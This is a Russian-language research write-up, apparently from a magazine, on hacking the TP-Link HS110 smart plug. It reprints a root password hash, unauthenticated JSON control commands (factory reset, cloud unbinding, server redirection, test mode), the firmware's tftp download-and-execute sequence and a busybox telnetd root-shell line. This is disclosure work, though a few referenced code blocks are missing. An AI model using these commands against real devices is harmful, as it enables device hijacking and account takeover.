Взлом умной розетки TP-LINK HS110 WI-FI

Желание управлять всем вокруг с телефона вполне понятно для любого, кто хоть как-то связан с IT. Именно поэтому пару лет назад в наших домах стали появляться умные чайники, лампочки и прочие «кофеварки на Linux». Но увеличение количества таких умных устройств ведет к дополнительной возможности проникнуть в вашу сеть. Сегодня мы расскажем про взлом умной розетки TP-LINK HS110 WI-FI.

HS110 Wi-Fi — это Wi-Fi-розетка с мониторингом энергопотребления от TP-Link. Устройство подключается к обычной розетке и после настройки предоставляет:

[ad name=»Responbl»]

ИССЛЕДУЕМ ПРОШИВКУ TP-LINK HS110

Как видишь, прошивка содержит обычную Linux-систему, состоящую из трех частей:

• U-Boot Bootloader 1.1.4 (Oct 16 2015 — 11:22:22);
• Linux Kernel 2.6.31 — LSDK-9.2.0_U11.14 (yt@yangtao.localdomain);
• Squashfs filesystem.

В файловой системе авторы нашли следующие интересные файлы:
1. /bin/busybox v1.01 (2015.10.16 — 03:17+0000).
2. /etc/newroot2048.crt — этот сертификат используется для проверки облачного сервера. Файл содержит корневой сертификат VeriSign Class 3 Public Primary Certification Authority — G5. Это означает, что при установлении TLS-соединения в облако проверяется, подписан ли предоставленный сервером сертификат с помощью Symantec VeriSign CA for Extended Validation (EV) certificates (CA pinning). Атакующий может купить себе собственный EV-сертификат и использовать его для своего сервера, чтобы он «выглядел» как облако.

[ad name=»Responbl»]

3. /etc/shadow — после дешифрования оказалось, что пароль media root:7KBNXuMnKTx6g:15502:0:99999:7:::

4. /usr/bin/shd — основное серверное приложение.
5. /usr/bin/shdTester — клиент для калибровки экрана энергии.
6. /usr/bin/calDump — дамп данных калибровки из /dev/caldata.

Вся проприетарная серверная логика находится в исполняемом файле shd (Smart Home Daemon), который является MIPS32 R2 Big Endian:

shd: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV),
dynamically linked, interpreter /lib/ld-uClibc.so.0,
corrupted section header size

Также в нем содержится OpenSSL 1.0.1j 15 Oct 2014 для установки TLS-соединения с облачным сервером.

BUSYBOX

Предоставляемая версия BusyBox из прошивки подвержена уязвимости CVE2011-2716, инъекции команд в компоненте udhcpc (DHCP-клиенте). Она позволяет внедрять команды в одну из следующих DHCP-опций:
• (12) Hostname;
• (15) Domainname;
• (40) NIS Domain;
• (66) TFTP Server Name.

Проанализировав исполняемый файл, авторы нашли, что shd создает shellскрипт /tmp/udhcpc.script:

#!/bin/sh
if[ $1 = renew –o $1 = bound]
then
    ifconfig $interface $ip netmask $subnet
    route del default
    route add default gw $router
    echo "nameserver $dns" > /tmp/resolv.conf
fi

а затем выполняется udhcpc:

/sbin/udhcpc –b –H "HS100(US)" –i br0 –s /tmp/udhcpc.script

К сожалению, здесь hostname захардкожена, а другие опции не используются. Так что уязвимость неэксплуатируема.

СКАНИРОВАНИЕ ПОРТОВ

Запустив Nmap после сканирования всех TCP и UDP, получили следующее:
• 80/tcp — HTTP;
• 9999/tcp — TP-Link Smart Home Protocol;
• 1040/udp — TP-Link Device Debug Protocol (TDDP).

Веб-сервер на 80-м порту отвечает бессмысленными троеточиями, вне зависимости от запроса:

HTTP/1.1 200 OK
Server: TP-LINK Smart Plug
Connection: close
Content-Length: 5
Content-Type: text/html
...

Внутри shd этот ответ HTTP-сервера зовется fake_httpd и всегда возвращает захардкоженный ответ.

TCP-порт 9999 используется для управления умной розеткой в локальной сети с помощью приложения Kasa и описан в TP-Link Smart Home Protocol, а UDPпорт 1040 — в TP-Link Device Debug Protocol.

ИССЛЕДУЕМ TP-LINK SMART HOME PROTOCOL

Прослушав локальный Wi-Fi-трафик, авторы увидели, что мобильное приложение общается с HS110 через порт 999, используя данные, похожие на зашифрованные. После декомпиляции Android-приложения они нашли функцию шифрования:

Мы видим, что инициализирующий ключ (вектор) — это захардкоженное значение -85 (= 171). Первый байт открытого текста ксорится (XOR) с этим ключом. Затем ключ ставится в незашифрованный байт. В ходе очередной итерации следующий байт открытого текста ксорится с предыдущим байтом открытого текста. Дешифровка работает по тому же принципу.

Этот алгоритм известен как autokey cipher. Несмотря на то что его статические свойства лучше, чем в стандартном XOR-шифровании с помощью повторяющегося ключа, он все равно может быть легко взломан известными атаками.

Теперь, когда мы знаем алгоритм и ключ, мы можем сделать Wireshark-диссектор на Lua, который автоматически дешифрует TP-Link Smart Home пакеты на 9999-й порт. Сам протокол устройства использует JSON, так что можно добавить и диссектор для него. В итоге мы можем читать данные между Kasa-приложением и умной розеткой в Wi-Fi-сети.

Команды для умной розетки сгруппированы в следующие категории:
• system;
• netif (WLAN interface commands);
• cnCloud (соединение с облаком);
• time;
• emeter (измерение энергии);
• schedule (расписание вкл./выкл.);
• count_down (таймер вкл./выкл.);
• anti_theft (рандомное расписание вкл./выкл.).

[ad name=»Responbl»]

АНАЛИЗ КОМАНД ПРОТОКОЛА TP-LINK SMART HOME

Авторы опубликовали полный список (txt) JSON-команд и Python-клиент для их отправки.

Системные команды:

Получить информацию о системе:

{"system":{"get_sysinfo":{}}}

Через написанный Python-клиент это будет так:

./tplink-smartplug.py –t 192.168.0.1 –c info

Или можно отправлять свои JSON-команды:

./tplink-smartplug.py –t 192.168.0.1
    –j '{"system":{"get_sysinfo":{}}}'

Чтобы включить или выключить, используется команда set_relay_state со значением 1 и 0 соответственно:

{"system":{"set_relay_state":{"state":1}}}

Перезагрузка через определенное время:

{"system":{"reboot":{"delay":1}}}

Сброс настроек до заводских и превращение в точку доступа:

{"system":{"reset":{"delay":1}}}

А если вспомнить, что у устройства нет аутентификации в сети, то получается, что любой пользователь Wi-Fi-сети может выполнить все указанные команды. Напомню про ссылку выше, по ней полный список команд ;-).

[ad name=»Responbl»]

Из интересного стоит еще отметить команду установки прошивки. Загружается она с произвольного URL-адреса:

{"system":{"download_firmware":{"url":"http://..."}}}

Состояние загрузки можно получить через команду get_download_state:

{"system":{"get_download_state":{}}}

А для установки используется flash_firmware:

{"system":{"flash_firmware":{}}}

Просто так установить модифицированный образ не получится, поскольку он должен быть подписан одним из четырех захардкоженных RSA-ключей:

Wi-Fi-команды

Умную розетку можно еще использовать для сканирования ближайших точек доступа:

{"netif":{"get_scaninfo":{"refresh":1}}}

Эта команда вернет полный список.
Подключиться к нужной точке доступа с необходимыми параметрами:

{"netif":{"set_stainfo":{"ssid":"WiFi","password":"123",
    "key_type":3}}}

Напомню, что все JSON-команды можно выполнять вне зависимости от состояния устройства. То есть в обычное время подключение к нужной сети требуется только для несконфигурированного состояния — когда умная розетка в режиме точки доступа.

Облачные команды

Умная розетка постоянно пытается соединиться с сервером TP-Link по адресу devs.tplinkcloud.com:50443, используя TLS. Это поведение сохраняется, даже если в Kasa установлена настройка работать только локально. Но мы можем изменить адрес сервера на нужный нам следующей командой:

{"cnCloud":{"set_server_url":{"server":"devs.tplinkcloud.com"}}}

Только не забудь, что там должен быть действительный сертификат от Symantec EV Root CA.

Далее можно зарегистрировать устройство в облаке:

{"cnCloud":{"bind":{"username":alice@home.com, "password":"secret"}}}

И отвязать:

{"cnCloud":{"unbind":null}}

С помощью этих команд атакующий может отвязать устройство и изменить владельца. Еще он может перехватить регистрационные данные, отправляемые Kasa-приложением.

Ищем устройства TP-Link через Device Debug Protocol:

TP-Link Device Debug Protocol — запатентованный в Китае протокол TP-Link, в котором описывается, как устроены TDDP-пакеты. Этот протокол используется для пинга и поиска устройств TP-Link в сети посредством широковещательных сообщений, чтения и установки опций и выполнения специальных команд. Целостность TDDP поддерживается с помощью MD5, встроенного в заголовок каждого пакета:

Полезная нагрузка пакета также шифруется с помощью DES. Это означает, что любые читаемые или записанные настройки будут зашифрованы. DESключ устанавливается как половина (16 шестнадцатеричных чисел, или 8 байт) MD5-хеша от конкатенации имени пользователя и пароля устройства:

md5(username + password)[:16]

Так как HS110 не поддерживает какую-либо аутентификацию, то имя пользователя и пароль были захардкожены в shd-файл:

Для остальных устройств TP-Link можно проверить эти же данные или провести брутфорс-атаку по логину. С помощью одного UDP-пакета авторы смогли получить некоторую информацию об устройстве. Для воспроизведения нескольких интересных случаев было написано несколько скриптов («тестовая» строка, deviceID и hardwareID):

ТЕСТОВЫЙ РЕЖИМ

После дальнейшего анализа авторы нашли скрытый тестовый режим. Его видно в параметрах командной строки shd-файла:

Этот параметр запускает функцию wlan_start_art, которая, в свою очередь, запускает Atheros Radio Test (ART) для тестирования производительности Wi-Fi-адаптеров Atheros.

Функция wlan_start_art выполняет следующие команды:

LD_LIBRARY_PATH=/tmp
arping –I br0 –c 1 192.168.0.100
tftp –g 192.168.0.100 –r ap_bin/ap121/art.ko

    –l /tmp/art.ko
insmod /tmp/art.ko
tftp –g 192.168.0.100 –r ap_bin/ap121/nart.out

    –l /tmp/nart.out
chmod +x /tmp/nart.out
/tmp/nart.out –instance 0 &

Этот кусок отладочного кода уже всплывал ранее в уязвимости роутеров TP-Link в 2013 году, которую можно было стриггерить с помощью скрытого адреса на web-сервере TP-Link http/tftp backdoor.

Эти команды соединяются с FTP-сервером, скачивают файл nart.out, делают его исполняемым и запускают. Для успешной эксплуатации достаточно сделать shell-скрипт с таким именем и расположить по нужному адресу. Достаточно даже будет запустить демон telnetd:

/bin/busybox telnetd –l/bin/sh &

Кстати, запуск этого режима возможно сделать удаленно. Для этого есть JSON-команда set_test_mode:

./tplink-smarthome.py -t 192.168.0.1
    -j '{"system":{"set_test_mode":{"enable":1}}}'

В память устройства будет установлен специальный флаг, который проверяется в процессе загрузки. Поэтому нужно перезагрузить устройство:

./tplink-smarthome.py -t 192.168.0.1 -c reboot

После этого устройство попытается соединиться с сетью hs_test и паролем 12345670.

Для установки точки доступа hs_ test авторы использовали hostapd со следующим конфигурационным файлом hostapd.conf:

interface=wlan0
driver=nl80211
ssid=hs_test
wpa=2
wpa_passphrase=12345670
channel=1

Увы, но здесь разработчики подсуетились. Поведение в тестовом режиме не отличается от стандартного. Хотя в коде и есть обращение к wlan_start_art, но загрузки и исполнения скрипта не происходит. Возможно, эти строки были закомментированы.

[ad name=»Responbl»]

ВЫВОДЫ

Как видишь по этому небольшому райтапу, безопасность умных устройств пока еще находится в зачаточном состоянии. Никаких сложных техник защиты в массовых клиентских устройствах не применяется, да и простая аутентификация используется далеко не всегда. Конечно, со временем эта область прогрессирует, как это было с вебом, но пока у независимых исследователей есть отличная возможность прокачать скиллы на несложных кейсах, а заодно сделать мир вокруг себя чуточку безопаснее.

В рамках этого исследования был написан плагин для Wireshark (под проприетарный протокол) и несколько Python-скриптов для проведения атаки. Все это авторы опубликовали в своем GitHub-репозитории.
Самих же авторов, можно найти здесь.